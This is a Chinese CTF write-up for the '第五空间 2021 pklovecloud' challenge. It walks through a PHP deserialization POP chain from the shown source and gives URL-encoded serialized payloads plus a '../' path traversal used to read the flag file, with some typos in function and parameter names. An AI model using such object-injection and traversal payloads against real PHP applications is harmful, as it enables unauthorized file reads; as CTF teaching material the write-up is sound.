题目来源:[第五空间 2021]pklovecloud
题目代码如下:
<?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } } class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } } class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } } if (isset($_GET['pks'])) { $logData = unserialize($_GET['pks']); echo $logData; } else { highlight_file(__file__); } ?>
这个题感觉挺有意思的,先看这个反序列化位点,没啥不一样的,但是这里有个echo $logData,可能有些人有点懵了,反序列化后$logData是一个对象,怎么能用each输出,先往下看,这个有大用。
总共有三个类,第一个类pkshow没有成员属性,没啥用,这个类可以直接忽略不看。
我们反着推,全文看下来,也只有file_get_contents()函数可以利用,他会把文件读取成字符串并输出,并且开头包含了flag.php,并且$file = "./{$this->filename}";会拼接成完整路径
所以我们就要想办法触发这个函数。
要想用这个函数就要想办法绕过这个if($this->openstack->neutron === $this->openstack->nova)限制,再往上就需要触发each_name()这个自定义函数,当然我们不可能主动调用
我们看到pskhow和acp类中都有调用这个函数,但是我们说了pkshow这个类我们没办法用,就只剩下acp这个类可用了
可以看到在__toSting()魔术方法中调用了each_name()这个方法,但是并不是直接调用,而是通过成员属性$cinder来调用,所以echo_name()方法就必须是属于$cinder这个成员属性
那么$cinder就必须得是一个对象,并且是实例化ace的对象,因为我们要调用的是类ace里面的方法
那么__toSting()魔术方法如何调用,他会在把对象当做字符串输出时调用,对象当做字符串不就是之前each $logData干的事吗,反序列化后$logData是个对象,each是用来输出一个字符或者字符串的,这不刚好调用了__toSting形成了完整的pop链吗,写出来就是
each $logData->acp::__toSting->ace::each_nama->if
由于$cinder是保护属性,所以我们使用构造函数实例化对象,并且序列化后要进行url编码,不然会受不可见字符影响而出错
我们将$docker赋值为空,那么反序列化也是空,那么给他赋值一个不存在的变量$heat还是空,空和空肯定相等就能绕过if
pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
传入参数页面上什么也没有,F12看一下源码,发现给了提示,flag in /nssctfasdasdflag
那就改变flag.php为nssctfasdasdflag
psk=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
再次传入发现出现一个keystone lost~,这个说明file_get_contents($file)返回false,说明$file路径或者文件不存在,既然说了flag in /nssctfasdasdflag出题人也应该不会骗人,那我们试着穿越目录
变成../nssctfasdasdflag
成功拿到flag
标签:php,3Bs%,22%,28,3A%,3A3%,file,序列化,3BN% From: https://www.cnblogs.com/lcjingyi/p/17793394.html